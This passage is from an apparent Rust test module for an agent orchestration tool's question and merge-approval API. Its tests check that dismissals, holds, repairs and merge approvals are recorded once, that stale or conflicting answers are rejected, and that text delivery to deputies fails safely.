11770        state.status = RunStatus::Landing;
11771        state.parked = true;
11772        state.driver_exited = true;
11773        let mut q = Question::new(
11774            state.id.clone(),
11775            crate::land::APPROVAL_NODE.into(),
11776            "land".into(),
11777            "Superseded PR approval".into(),
11778            "Original review evidence".into(),
11779            vec!["merge".into(), "hold".into()],
11780        );
11781        state.land_approval = Some(crate::run::LandApproval {
11782            question: q.id.clone(),
11783            head: "old-reviewed-head".into(),
11784        });
11785        // The old persisted PR may still say open even when a separate change
11786        // already landed. Dismissal must not use that snapshot to close it.
11787        state.save_under(fx.home.path()).unwrap();
11788        let stale_driver = state.clone();
11789        fx.questions().put(&mut q).unwrap();
11790        let path = fx
11791            .home
11792            .path()
11793            .join("questions")
11794            .join(format!("{}.json", q.id));
11795        let mut legacy = serde_json::to_value(&q).unwrap();
11796        legacy["schema"] = 9.into();
11797        legacy.as_object_mut().unwrap().remove("merge_target");
11798        std::fs::write(&path, serde_json::to_vec(&legacy).unwrap()).unwrap();
11799
11800        // POST without GET tests legacy upgrade and validation at the actual
11801        // entry point, rather than constructing a modern card in the test.
11802        let body = serde_json::json!({"choice": crate::merge_decision::DISMISS}).to_string();
11803        let answer_path = format!("/api/questions/{}/answer", q.id);
11804        let res = fx.post(&answer_path, Some(&body)).await;
11805        assert_eq!(res.status, 200, "{}", res.body);
11806        let disk = fx.questions().get(&q.id).unwrap();
11807        assert_eq!(
11808            disk.resolution().as_deref(),
11809            Some(crate::merge_decision::DISMISS)
11810        );
11811        assert!(disk.detail.starts_with("Original review evidence"));
11812        let retired = RunState::load_under(&state.id, fx.home.path()).unwrap();
11813        assert_eq!(retired.status, RunStatus::Superseded);
11814        assert_eq!(
11815            serde_json::to_value(&retired.pr).unwrap(),
11816            serde_json::to_value(&state.pr).unwrap()
11817        );
11818        assert!(!retired.merge_decision.as_ref().unwrap().closed);
11819        assert!(!crate::merge_decision::resumable_hold(&retired));
11820        assert!(fx.queue().list().is_empty());
11821        crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
11822        // A restarted server re-reads the persisted pending list.
11823        let addr = Fixture::serve(
11824            fx.home.path(),
11825            PathBuf::from("/repo/magi"),
11826            launch_idle,
11827            None,
11828        )
11829        .await;
11830        let reconnected = Fixture {
11831            home: fx.home,
11832            addr,
11833        };
11834        let listed = reconnected.get("/api/questions").await.json();
11835        assert!(
11836            listed
11837                .as_array()
11838                .unwrap()
11839                .iter()
11840                .all(|q| q["status"] != "open")
11841        );
11842        assert_eq!(listed[0]["id"], q.id, "history remains available");
11843        assert_eq!(
11844            reconnected.get("/api/health").await.json()["questions_open"],
11845            0
11846        );
11847        assert_eq!(
11848            reconnected
11849                .post(&answer_path, Some(r#"{"choice":"merge"}"#))
11850                .await
11851                .status,
11852            409
11853        );
11854        // A late waiter cannot turn the old answer into a new decision.
11855        assert!(
11856            reconnected
11857                .questions()
11858                .update(&q.id, |q| q.answer(Answer::Choice("hold".into())))
11859                .is_err()
11860        );
11861        // The same guard used by claims, repair and publication rejects a
11862        // saved in-memory driver as well as the persisted terminal record.
11863        assert!(crate::pr_head::ensure_owner_record(&stale_driver, Some(&retired)).is_err());
11864    }
11865
11866    #[tokio::test]
11867    async fn obsolete_approval_dismissal_respects_claims_and_later_attempts() {
11868        let fx = Fixture::start().await;
11869        let mut state = obsolete_approval_state();
11870        state.status = RunStatus::Landing;
11871        state.driver_exited = true;
11872        let mut q = Question::new(
11873            state.id.clone(),
11874            crate::land::APPROVAL_NODE.into(),
11875            "land".into(),
11876            "Obsolete approval".into(),
11877            String::new(),
11878            vec!["merge".into(), "hold".into()],
11879        );
11880        state.land_approval = Some(crate::run::LandApproval {
11881            question: q.id.clone(),
11882            head: "head".into(),
11883        });
11884        state.save_under(fx.home.path()).unwrap();
11885        fx.questions().put(&mut q).unwrap();
11886        let mut task = Task::new(
11887            "Owner".into(),
11888            "Original instruction".into(),
11889            state.repo.clone(),
11890            Source::Human,
11891        );
11892        task.runs = vec![state.id.clone(), "later-run".into()];
11893        fx.queue().put(&mut task).unwrap();
11894        let before = std::fs::read(fx.queue().path_of(&task.id)).unwrap();
11895        let claim = fx.queue().claim(&task.id).unwrap();
11896        let body = serde_json::json!({"choice": crate::merge_decision::DISMISS}).to_string();
11897        let path = format!("/api/questions/{}/answer", q.id);
11898        assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
11899        assert!(fx.questions().get(&q.id).unwrap().status.open());
11900        drop(claim);
11901        let publication = crate::pr_head::owner_lock(fx.home.path(), &state.id).unwrap();
11902        assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
11903        assert!(fx.questions().get(&q.id).unwrap().status.open());
11904        drop(publication);
11905        // Unknown liveness and armed auto-merge both fail without settling.
11906        state.driver_exited = false;
11907        state.driver_pid = None;
11908        state.driver_claimed = None; // No durable proof of an unstarted execution.
11909        state.save_under(fx.home.path()).unwrap();
11910        assert_eq!(
11911            state.liveness_under(fx.home.path(), false),
11912            crate::run::Liveness::Unknown
11913        );
11914
11915        assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
11916        state.driver_exited = true;
11917        state.land_armed_head = Some("head".into());
11918        state.save_under(fx.home.path()).unwrap();
11919        assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
11920        state.land_armed_head = None;
11921        state.save_under(fx.home.path()).unwrap();
11922        assert_eq!(fx.post(&path, Some(&body)).await.status, 200);
11923        crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
11924        assert_eq!(std::fs::read(fx.queue().path_of(&task.id)).unwrap(), before);
11925    }
11926
11927    #[tokio::test]
11928    async fn obsolete_approval_dismissal_retries_partial_writes_and_finishes_only_current_owner() {
11929        let fx = Fixture::start().await;
11930        let mut state = obsolete_approval_state();
11931        state.status = RunStatus::Landing;
11932        state.driver_exited = true;
11933        let mut q = Question::new(
11934            state.id.clone(),
11935            crate::land::APPROVAL_NODE.into(),
11936            "land".into(),
11937            "Obsolete approval".into(),
11938            String::new(),
11939            vec!["merge".into(), "hold".into()],
11940        );
11941        state.land_approval = Some(crate::run::LandApproval {
11942            question: q.id.clone(),
11943            head: "head".into(),
11944        });
11945        state.save_under(fx.home.path()).unwrap();
11946        fx.questions().put(&mut q).unwrap();
11947        let mut task = Task::new(
11948            "Owner".into(),
11949            "Original instruction".into(),
11950            state.repo.clone(),
11951            Source::Human,
11952        );
11953        task.runs.push(state.id.clone());
11954        task.status = TaskStatus::Parked;
11955        fx.queue().put(&mut task).unwrap();
11956        // Model a crash after the run stop was persisted but before the queue
11957        // and answered question were flushed. Retrying must finish, not resume.
11958        state.merge_decision = Some(crate::merge_decision::Decision {
11959            question: q.id.clone(),
11960            target: crate::merge_decision::Target {
11961                pr: state.pr.as_ref().unwrap().url.clone(),
11962                head: "head".into(),
11963                language: "ja".into(),
11964            },
11965            choice: crate::merge_decision::DISMISS.into(),
11966            closed: false,
11967            replacement_run: None,
11968            replacement_pr: None,
11969        });
11970        state.status = RunStatus::Superseded;
11971        state.save_under(fx.home.path()).unwrap();
11972        let body = serde_json::json!({"choice": crate::merge_decision::DISMISS}).to_string();
11973        let path = format!("/api/questions/{}/answer", q.id);
11974        assert_eq!(fx.post(&path, Some(&body)).await.status, 200);
11975        let done = fx.queue().get(&task.id).unwrap();
11976        assert_eq!(done.status, TaskStatus::Done);
11977        assert_eq!(done.runs, task.runs);
11978        assert_eq!(done.instruction, task.instruction);
11979        assert!(done.action_applied(&q.id));
11980        crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
11981        assert_eq!(fx.queue().get(&task.id).unwrap().status, TaskStatus::Done);
11982        assert!(!fx.questions().get(&q.id).unwrap().status.open());
11983    }
11984
11985    #[tokio::test]
11986    async fn task_chat_merge_accepts_direct_decisions_and_checks_optional_buttons() {
11987        let home = TempDir::new().unwrap();
11988        let ui = Arc::new(Ui::new(
11989            Queue::at(home.path().join("queue")),
11990            Questions::at(home.path().join("questions")),
11991            Talks::at(home.path().join("talks")),
11992            home.path().join("runs"),
11993            home.path().to_owned(),
11994            home.path().to_owned(),
11995        ));
11996        let talks = &ui.talks;
11997        let chat =
11998            talk::begin(talks, &stub_config(), home.path().to_owned(), Some("stub")).unwrap();
11999        let mut q = Question::new(
12000            "run".into(),
12001            crate::land::APPROVAL_NODE.into(),
12002            "land".into(),
12003            "Merge?".into(),
12004            String::new(),
12005            vec!["merge".into(), "hold".into()],
12006        );
12007        q.routed_task = Some("task".into());
12008        q.routed_chat = Some(chat.id.clone());
12009        q.merge_target = Some(crate::merge_decision::Target {
12010            pr: "https://example.test/pull/1".into(),
12011            head: "head-a".into(),
12012            language: "en".into(),
12013        });
12014        ui.questions.put(&mut q).unwrap();
12015        let send = |body| {
12016            question_answer(
12017                State(ui.clone()),
12018                Path(q.id.clone()),
12019                Ok(Json(serde_json::from_value::<NewAnswer>(body).unwrap())),
12020            )
12021        };
12022        let button = serde_json::json!({"choice":"merge", "talk":chat.id, "head":"head-a"});
12023        assert!(send(serde_json::json!({"text":"merge"})).await.is_err());
12024        let wrong_chat = serde_json::json!({"choice":"merge", "talk":"other", "head":"head-a"});
12025        assert!(send(wrong_chat).await.is_err());
12026        let stale = serde_json::json!({"choice":"merge", "talk":chat.id, "head":"old-head"});
12027        assert!(send(stale).await.is_err());
12028        assert!(ui.questions.get(&q.id).unwrap().status.open());
12029        assert!(send(button.clone()).await.is_ok());
12030        assert_eq!(
12031            ui.questions.get(&q.id).unwrap().resolution().as_deref(),
12032            Some("merge")
12033        );
12034        assert!(send(button).await.is_err());
12035    }
12036
12037    #[tokio::test]
12038    async fn routed_approvals_accept_merge_and_hold_without_chat_buttons() {
12039        let home = TempDir::new().unwrap();
12040        let ui = Arc::new(Ui::new(
12041            Queue::at(home.path().join("queue")),
12042            Questions::at(home.path().join("questions")),
12043            Talks::at(home.path().join("talks")),
12044            home.path().join("runs"),
12045            home.path().to_owned(),
12046            home.path().to_owned(),
12047        ));
12048        for choice in [crate::land::APPROVE, crate::land::HOLD] {
12049            let mut q = Question::new(
12050                "run".into(),
12051                crate::land::APPROVAL_NODE.into(),
12052                "land".into(),
12053                "Merge?".into(),
12054                String::new(),
12055                vec!["merge".into(), choice.into()],
12056            );
12057            q.routed_task = Some("task".into());
12058            q.merge_target = Some(crate::merge_decision::Target {
12059                pr: "https://example.test/pull/1".into(),
12060                head: "head-a".into(),
12061                language: "en".into(),
12062            });
12063            ui.questions.put(&mut q).unwrap();
12064            let answer = |c: &str| {
12065                question_answer(
12066                    State(ui.clone()),
12067                    Path(q.id.clone()),
12068                    Ok(Json(
12069                        serde_json::from_value::<NewAnswer>(serde_json::json!({ "choice": c }))
12070                            .unwrap(),
12071                    )),
12072                )
12073            };
12074            let _ = answer(choice).await.unwrap();
12075            assert_eq!(
12076                ui.questions.get(&q.id).unwrap().resolution().as_deref(),
12077                Some(choice)
12078            );
12079        }
12080    }
12081
12082    #[tokio::test]
12083    async fn a_routed_decision_records_a_plain_answer_on_the_question_route() {
12084        let home = TempDir::new().unwrap();
12085        let ui = Arc::new(Ui::new(
12086            Queue::at(home.path().join("queue")),
12087            Questions::at(home.path().join("questions")),
12088            Talks::at(home.path().join("talks")),
12089            home.path().join("runs"),
12090            home.path().to_owned(),
12091            home.path().to_owned(),
12092        ));
12093        let mut q = Question::new(
12094            "run".into(),
12095            crate::github_text::ASK_NODE.into(),
12096            "posting-gate".into(),
12097            "Post?".into(),
12098            String::new(),
12099            vec!["use fallback".into()],
12100        );
12101        q.routed_task = Some("task".into());
12102        ui.questions.put(&mut q).unwrap();
12103        let sent = question_answer(
12104            State(ui.clone()),
12105            Path(q.id.clone()),
12106            Ok(Json(
12107                serde_json::from_value::<NewAnswer>(serde_json::json!({"choice":"use fallback"}))
12108                    .unwrap(),
12109            )),
12110        )
12111        .await;
12112        let _ = sent.unwrap();
12113        assert_eq!(
12114            ui.questions.get(&q.id).unwrap().resolution().as_deref(),
12115            Some("use fallback")
12116        );
12117    }
12118
12119    #[tokio::test]
12120    async fn merge_decision_api_persists_exact_target_and_selected_action() {
12121        let fx = Fixture {
12122            home: TempDir::new().unwrap(),
12123            addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
12124        };
12125        for choice in [
12126            crate::land::HOLD,
12127            crate::land::REPAIR,
12128            crate::land::APPROVE,
12129            crate::merge_decision::WITHDRAW,
12130            "reimplement:beta",
12131        ] {
12132            let mut q = Question::new(
12133                "old-run".into(),
12134                crate::land::APPROVAL_NODE.into(),
12135                "land".into(),
12136                "Decision".into(),
12137                "Review findings".into(),
12138                vec![
12139                    "merge".into(),
12140                    "hold".into(),
12141                    crate::land::REPAIR.into(),
12142                    crate::merge_decision::WITHDRAW.into(),
12143                    "reimplement:beta".into(),
12144                ],
12145            );
12146            q.merge_target = Some(crate::merge_decision::Target {
12147                pr: "https://github.com/example/repo/pull/42".into(),
12148                head: "exact-reviewed-head".into(),
12149                language: "ja".into(),
12150            });
12151            q.consult = Some(ask::ChatConsult {
12152                talk: "another-conversation".into(),
12153                at: jiff::Timestamp::now(),
12154            });
12155            fx.questions().put(&mut q).unwrap();
12156            let ui = Arc::new(Ui::new(
12157                fx.queue(),
12158                fx.questions(),
12159                fx.talks(),
12160                fx.runs(),
12161                fx.home.path().into(),
12162                std::path::PathBuf::from("."),
12163            ));
12164            let response = question_answer(
12165                State(ui.clone()),
12166                Path(q.id.clone()),
12167                Ok(Json(NewAnswer {
12168                    choice: Some(choice.into()),
12169                    text: None,
12170                    ..Default::default()
12171                })),
12172            )
12173            .await
12174            .unwrap();
12175            assert_eq!(response.0.question.resolution().as_deref(), Some(choice));
12176            let disk = fx.questions().get(&q.id).unwrap();
12177            assert_eq!(disk.merge_target, q.merge_target);
12178            assert_eq!(disk.consult, q.consult);
12179            assert_eq!(disk.resolution().as_deref(), Some(choice));
12180            assert!(
12181                question_answer(
12182                    State(ui),
12183                    Path(q.id.clone()),
12184                    Ok(Json(NewAnswer {
12185                        choice: Some("merge".into()),
12186                        text: None,
12187                        ..Default::default()
12188                    }))
12189                )
12190                .await
12191                .is_err(),
12192                "an already settled decision cannot turn into merge approval"
12193            );
12194        }
12195    }
12196
12197    #[tokio::test]
12198    async fn legacy_merge_repair_api_resumes_the_parked_owner_once() {
12199        let fx = Fixture {
12200            home: TempDir::new().unwrap(),
12201            addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
12202        };
12203        let mut state = crate::land::tests::repair_state(true, true);
12204        state.status = RunStatus::Landing;
12205        state.parked = true;
12206        state.driver_exited = true;
12207        let mut task = Task::new(
12208            "Existing PR owner".into(),
12209            state.instruction.clone(),
12210            state.repo.clone(),
12211            Source::Human,
12212        );
12213        task.runs.push(state.id.clone());
12214        task.status = TaskStatus::Parked;
12215        fx.queue().put(&mut task).unwrap();
12216        let mut q = Question::new(
12217            state.id.clone(),
12218            crate::land::APPROVAL_NODE.into(),
12219            "land".into(),
12220            "Contested merge".into(),
12221            "Original evidence".into(),
12222            vec!["merge".into(), "hold".into()],
12223        );
12224        state.land_approval = Some(crate::run::LandApproval {
12225            question: q.id.clone(),
12226            head: "reviewed-head".into(),
12227        });
12228        state.save_under(fx.home.path()).unwrap();
12229        fx.questions().put(&mut q).unwrap();
12230        // A later repair answer on this old card supersedes this manual hold.
12231        task.hold_manual(Some("Pause this PR".into()));
12232        fx.queue().put(&mut task).unwrap();
12233        // POST directly, without a preceding GET: validation must see the
12234        // same durable upgrade that the card, CLI and chat see.
12235        let ui = Arc::new(Ui::new(
12236            fx.queue(),
12237            fx.questions(),
12238            fx.talks(),
12239            fx.runs(),
12240            fx.home.path().to_path_buf(),
12241            state.repo.clone(),
12242        ));
12243        let response = question_answer(
12244            State(ui),
12245            Path(q.id.clone()),
12246            Ok(Json(NewAnswer {
12247                choice: Some(crate::land::REPAIR.into()),
12248                text: None,
12249                ..Default::default()
12250            })),
12251        )
12252        .await
12253        .unwrap();
12254        assert_eq!(response.0.question.id, q.id);
12255        let upgraded = fx.questions().get(&q.id).unwrap();
12256        assert_eq!(upgraded.choices, crate::land::approval_choices(&state));
12257        assert!(upgraded.detail.starts_with("Original evidence"));
12258        let claim = fx.queue().claim(&task.id).unwrap();
12259        crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
12260        assert!(
12261            fx.queue().get(&task.id).unwrap().resume_override.is_none(),
12262            "an existing driver keeps its claim"
12263        );
12264        drop(claim);
12265        crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
12266        let resumed = fx.queue().get(&task.id).unwrap();
12267        assert_eq!(
12268            resumed
12269                .resume_override
12270                .as_ref()
12271                .unwrap()
12272                .pinned_run
12273                .as_deref(),
12274            Some(state.id.as_str())
12275        );
12276        assert!(resumed.status.runnable());
12277        assert_eq!(resumed.instruction, task.instruction);
12278        assert_eq!(resumed.runs, task.runs);
12279        assert!(resumed.action_applied(&q.id));
12280        crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
12281        assert_eq!(fx.queue().list().len(), 1);
12282        assert_eq!(
12283            fx.queue().get(&task.id).unwrap().resume_override,
12284            resumed.resume_override
12285        );
12286        let disk = RunState::load_under(&state.id, fx.home.path()).unwrap();
12287        assert!(
12288            disk.merge_repairs.is_empty(),
12289            "only the claimed run driver may execute repair"
12290        );
12291        assert_eq!(disk.land_approval.unwrap().head, "reviewed-head");
12292    }
12293
12294    #[tokio::test]
12295    async fn answering_records_the_choice_and_a_second_answer_conflicts() {
12296        let fx = Fixture::start().await;
12297        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12298        let path = format!("/api/questions/{id}/answer");
12299
12300        let res = fx.post(&path, Some(r#"{"choice":"Redis"}"#)).await;
12301        assert_eq!(res.status, 200, "{}", res.body);
12302        let body = res.json();
12303        assert_eq!(body["status"], "answered");
12304        assert_eq!(body["answer"]["choice"], "Redis");
12305
12306        // Answered from the terminal in between the list and the tap: the UI
12307        // must be able to tell this from a bad request, so it can show the
12308        // recorded answer instead of an error.
12309        let again = fx.post(&path, Some(r#"{"choice":"SQLite"}"#)).await;
12310        assert_eq!(again.status, 409, "{}", again.body);
12311        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
12312    }
12313
12314    #[tokio::test]
12315    async fn question_text_handler_uses_running_capabilities_and_preserves_text_answers() {
12316        let home = tempfile::tempdir().unwrap();
12317        let ui = delta_test_ui(home.path());
12318        let mut q = Question::new(
12319            "task".into(),
12320            crate::land::APPROVAL_NODE.into(),
12321            "land".into(),
12322            "Explain?".into(),
12323            String::new(),
12324            vec!["hold".into()],
12325        );
12326        q.deputy = Some(ask::Deputy::new("context".into()));
12327        ui.questions.put(&mut q).unwrap();
12328        let mut cfg = stub_config();
12329        cfg.daemon.max_deputies = 0;
12330        let mut status = crate::daemon::Status::new();
12331        status.question_recovery = Some(crate::question_delivery::Recovery::new(Some(&cfg), 0));
12332        crate::daemon::write_status_to(&home.path().join("daemon.json"), &status).unwrap();
12333        let before = std::fs::read(ui.questions.path_of(&q.id)).unwrap();
12334        let error = question_say(
12335            State(ui.clone()),
12336            Path(q.id.clone()),
12337            Ok(Json(NewSay {
12338                body: "Explain the findings".into(),
12339            })),
12340        )
12341        .await
12342        .unwrap_err();
12343        assert_eq!(
12344            error.text_reason,
12345            Some(crate::question_delivery::UnavailableReason::DeputyDisabled)
12346        );
12347        assert_eq!(std::fs::read(ui.questions.path_of(&q.id)).unwrap(), before);
12348
12349        let mut text = Question::new(
12350            "task".into(),
12351            "ask".into(),
12352            "operator".into(),
12353            "Which name?".into(),
12354            String::new(),
12355            vec![],
12356        );
12357        ui.questions.put(&mut text).unwrap();
12358        let Json(view) = question_answer(
12359            State(ui.clone()),
12360            Path(text.id.clone()),
12361            Ok(Json(NewAnswer {
12362                choice: None,
12363                text: Some("chosen name".into()),
12364                ..Default::default()
12365            })),
12366        )
12367        .await
12368        .unwrap();
12369        assert_eq!(view.question.resolution().as_deref(), Some("chosen name"));
12370        assert!(!ui.questions.get(&text.id).unwrap().status.open());
12371    }
12372
12373    #[tokio::test]
12374    async fn question_text_handler_admission_without_transport() {
12375        let home = tempfile::tempdir().unwrap();
12376        let ui = delta_test_ui(home.path());
12377        let mut q = Question::new(
12378            "task".into(),
12379            crate::land::APPROVAL_NODE.into(),
12380            "land".into(),
12381            "May this PR merge?".into(),
12382            String::new(),
12383            vec!["hold".into()],
12384        );
12385        q.deputy = Some(ask::Deputy::new("reviewed head".into()));
12386        q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS;
12387        ui.questions.put(&mut q).unwrap();
12388        let say = || {
12389            Ok(Json(NewSay {
12390                body: "Explain the findings".into(),
12391            }))
12392        };
12393        let rejected = question_say(State(ui.clone()), Path(q.id.clone()), say())
12394            .await
12395            .unwrap_err();
12396        assert_eq!(rejected.status, StatusCode::UNPROCESSABLE_ENTITY);
12397        let response = rejected.into_response();
12398        let body = axum::body::to_bytes(response.into_body(), usize::MAX)
12399            .await
12400            .unwrap();
12401        let body: serde_json::Value = serde_json::from_slice(&body).unwrap();
12402        assert_eq!(body["code"], "question_text_unavailable");
12403        assert_eq!(body["reason"], "deputy_exhausted");
12404        assert!(body["error"].as_str().unwrap().contains("deputy_exhausted"));
12405        assert!(ui.questions.get(&q.id).unwrap().thread.is_empty());
12406        ui.questions.beat(&q.id, ask::WaiterKind::Deputy);
12407        let Json(view) = question_say(State(ui.clone()), Path(q.id.clone()), say())
12408            .await
12409            .unwrap();
12410        assert_eq!(view.text_delivery.state, "live");
12411        assert!(view.question.waiter.is_none());
12412        assert!(view.question.cwd.is_none());
12413        let before = std::fs::read(ui.questions.path_of(&q.id)).unwrap();
12414        ui.questions.drop_lease(&q.id);
12415        let rejected = question_say(State(ui.clone()), Path(q.id.clone()), say())
12416            .await
12417            .unwrap_err();
12418        assert_eq!(rejected.status, StatusCode::UNPROCESSABLE_ENTITY);
12419        assert_eq!(std::fs::read(ui.questions.path_of(&q.id)).unwrap(), before);
12420        let _ = question_answer(
12421            State(ui.clone()),
12422            Path(q.id.clone()),
12423            Ok(Json(NewAnswer {
12424                choice: Some("hold".into()),
12425                text: None,
12426                ..Default::default()
12427            })),
12428        )
12429        .await
12430        .unwrap();
12431        assert_eq!(
12432            ui.questions.get(&q.id).unwrap().resolution().as_deref(),
12433            Some("hold")
12434        );
12435    }
12436
12437    #[tokio::test]
12438    async fn question_text_delivery_rechecks_after_render_and_keeps_choices_usable() {
12439        let fx = Fixture::start().await;
12440        let store = fx.questions();
12441        let id = ask(&fx, "May this PR merge?", &["merge", "hold"]);
12442        store
12443            .update(&id, |q| {
12444                q.node = crate::land::APPROVAL_NODE.to_owned();
12445                q.deputy = Some(ask::Deputy::new("approval".to_owned()));
12446                q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS;
12447                Ok(())
12448            })
12449            .unwrap();
12450        let path = format!("/api/questions/{id}/say");
12451        let refused = fx.post(&path, Some(r#"{"body":"close the PR"}"#)).await;
12452        assert_eq!(refused.status, 422, "{}", refused.body);
12453        assert!(
12454            refused.json()["error"]
12455                .as_str()
12456                .unwrap()
12457                .contains("deputy_exhausted")
12458        );
12459        assert!(store.get(&id).unwrap().thread.is_empty());
12460
12461        // A final live deputy is usable even with no ordinary waiter/cwd.
12462        store.beat(&id, ask::WaiterKind::Deputy);
12463        let view = fx.get("/api/questions").await.json();
12464        assert_eq!(view[0]["text_delivery"]["state"], "live");
12465        let accepted = fx
12466            .post(&path, Some(r#"{"body":"explain the findings"}"#))
12467            .await;
12468        assert_eq!(accepted.status, 200, "{}", accepted.body);
12469        let before = std::fs::read(store.path_of(&id)).unwrap();
12470
12471        // The recipient exits between rendering and sending. Rejection must
12472        // preserve previously accepted text, the answer and delivery cursor.
12473        store.drop_lease(&id);
12474        let refused = fx.post(&path, Some(r#"{"body":"close the PR"}"#)).await;
12475        assert_eq!(refused.status, 422, "{}", refused.body);
12476        assert_eq!(std::fs::read(store.path_of(&id)).unwrap(), before);
12477        let held = fx
12478            .post(
12479                &format!("/api/questions/{id}/answer"),
12480                Some(r#"{"choice":"hold"}"#),
12481            )
12482            .await;
12483        assert_eq!(held.status, 200, "{}", held.body);
12484        assert_eq!(store.get(&id).unwrap().thread.len(), 1);
12485    }
12486
12487    #[tokio::test]
12488    async fn question_text_delivery_uses_daemon_configuration_after_file_edit() {
12489        let repo = tempfile::tempdir().unwrap();
12490        let mut cfg = stub_config();
12491        cfg.daemon.max_deputies = 0;
12492        std::fs::write(
12493            repo.path().join("magi.toml"),
12494            toml::to_string(&cfg).unwrap(),
12495        )
12496        .unwrap();
12497        let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
12498        let mut status = crate::daemon::Status::new();
12499        status.question_recovery = Some(crate::question_delivery::Recovery::new(Some(&cfg), 0));
12500        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &status).unwrap();
12501        let id = ask(&fx, "Explain?", &["hold"]);
12502        fx.questions()
12503            .update(&id, |q| {
12504                q.node = crate::land::APPROVAL_NODE.into();
12505                q.deputy = Some(ask::Deputy::new("context".into()));
12506                q.deputy.as_mut().unwrap().agent = "stub".into();
12507                Ok(())
12508            })
12509            .unwrap();
12510        cfg.daemon.max_deputies = 1;
12511        std::fs::write(
12512            repo.path().join("magi.toml"),
12513            toml::to_string(&cfg).unwrap(),
12514        )
12515        .unwrap();
12516        let view = fx.get("/api/questions").await.json();
12517        assert_eq!(view[0]["deputies_enabled"], true);
12518        assert_eq!(view[0]["text_delivery"]["reason"], "deputy_disabled");
12519        let before = std::fs::read(fx.questions().path_of(&id)).unwrap();
12520        let res = fx
12521            .post(
12522                &format!("/api/questions/{id}/say"),
12523                Some(r#"{"body":"Please explain"}"#),
12524            )
12525            .await;
12526        assert_eq!(res.status, 422, "{}", res.body);
12527        assert_eq!(std::fs::read(fx.questions().path_of(&id)).unwrap(), before);
12528    }
12529
12530    #[tokio::test]
12531    async fn question_text_delivery_preserves_text_decisions_without_a_recipient() {
12532        let fx = Fixture::start().await;
12533        let id = ask(&fx, "No seat", &[]);
12534        let store = fx.questions();
12535        let before = std::fs::read(store.path_of(&id)).unwrap();
12536        let res = fx
12537            .post(
12538                &format!("/api/questions/{id}/say"),
12539                Some(r#"{"body":"hello"}"#),
12540            )
12541            .await;
12542        assert_eq!(res.status, 422, "{}", res.body);
12543        assert_eq!(std::fs::read(store.path_of(&id)).unwrap(), before);
12544        let res = fx
12545            .post(
12546                &format!("/api/questions/{id}/answer"),
12547                Some(r#"{"text":"hello"}"#),
12548            )
12549            .await;
12550        assert_eq!(res.status, 200, "{}", res.body);
12551        assert_eq!(
12552            store.get(&id).unwrap().resolution().as_deref(),
12553            Some("hello")
12554        );
12555    }
12556
12557    #[tokio::test]
12558    async fn saying_something_appends_a_turn_without_answering() {
12559        let fx = Fixture::start().await;
12560        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12561        fx.questions().beat(&id, ask::WaiterKind::Asker);
12562        let path = format!("/api/questions/{id}/say");
12563
12564        let res = fx
12565            .post(&path, Some(r#"{"body":"why not Postgres?"}"#))
12566            .await;
12567        assert_eq!(res.status, 200, "{}", res.body);
12568        let body = res.json();
12569        assert_eq!(body["status"], "open", "talking back is not a decision");
12570        assert_eq!(body["answer"], Value::Null);
12571        assert_eq!(body["thread"][0]["who"], "operator");
12572        assert_eq!(body["thread"][0]["body"], "why not Postgres?");
12573        assert_eq!(body["waiting_on_agent"], true);
12574        // Still open, still counted, still exactly one question.
12575        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
12576    }
12577
12578    #[tokio::test]
12579    async fn consulting_a_question_with_no_chat_is_refused_and_it_stays_open() {
12580        let fx = Fixture::start().await;
12581        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12582
12583        let list = fx.get("/api/questions").await.json();
12584        assert_eq!(list[0]["origin_chat"], Value::Null, "{list}");
12585
12586        let res = fx.post(&format!("/api/questions/{id}/consult"), None).await;
12587        assert_eq!(res.status, 409, "{}", res.body);
12588        let q = fx.questions().get(&id).unwrap();
12589        assert!(q.status.open());
12590        assert!(q.consult.is_none());
12591    }
12592
12593    #[tokio::test]
12594    async fn a_question_from_a_chat_task_names_its_chat_in_the_view() {
12595        let fx = Fixture::start().await;
12596        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12597        let cfg = Config {
12598            agents: vec![crate::config::AgentSpec {
12599                id: "mock".to_owned(),
12600                kind: crate::config::AgentKind::Command,
12601                model: None,
12602                command: vec!["true".to_owned()],
12603                extra_args: Vec::new(),
12604                env: Default::default(),
12605                prompt_delivery: None,
12606                max_turn_secs: None,
12607            }],
12608            ..Config::default()
12609        };
12610        let talk = crate::talk::begin(
12611            &fx.talks(),
12612            &cfg,
12613            fx.home.path().to_path_buf(),
12614            Some("mock"),
12615        )
12616        .unwrap();
12617        let mut task = Task::new(
12618            "t".to_owned(),
12619            "Do it".to_owned(),
12620            PathBuf::from("/repo/magi"),
12621            Source::Agent {
12622                run: talk.id.clone(),
12623                node: crate::queue::CHAT_NODE.to_owned(),
12624            },
12625        );
12626        task.start("20260902-000000-beef".to_owned());
12627        fx.queue().put(&mut task).unwrap();
12628
12629        let list = fx.get("/api/questions").await.json();
12630        assert_eq!(list[0]["origin_chat"], talk.id.as_str(), "{list}");
12631        assert_eq!(
12632            list[0]["choices"],
12633            serde_json::json!(["SQLite", "Redis"]),
12634            "the hand-over is never a choice"
12635        );
12636        fx.questions()
12637            .update(&id, |q| {
12638                q.node = crate::land::APPROVAL_NODE.into();
12639                q.choices = vec!["merge".into(), "hold".into()];
12640                Ok(())
12641            })
12642            .unwrap();
12643        let list = fx.get("/api/questions").await.json();
